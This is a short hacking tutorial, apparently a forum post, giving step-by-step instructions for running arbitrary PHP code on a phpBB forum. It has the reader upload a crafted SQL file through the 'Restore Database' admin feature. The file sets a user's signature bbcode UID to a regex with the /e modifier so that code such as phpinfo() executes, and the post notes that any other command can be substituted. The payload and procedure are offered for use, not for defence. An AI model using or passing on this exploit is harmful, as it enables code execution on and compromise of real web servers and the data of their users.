[karan]

1) Go to administration panel (example: www.site.com/admin)

2) Now create a file named: shell.sql on your computer and write this string in it:

UPDATE users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo();' WHERE user_id=YOUR_ID;

Where you see: YOUR_ID write the ID of your account
(not your username, your account id, the number.)

3) Now go to "Restore Database" and select the shell.sql, then upload.

4) Now go to EDIT your account on the forum.

5) Wow! You'll see the phpinfo! Obviously you can write some other command instead of phpinfo()..........credit goes to g.s. row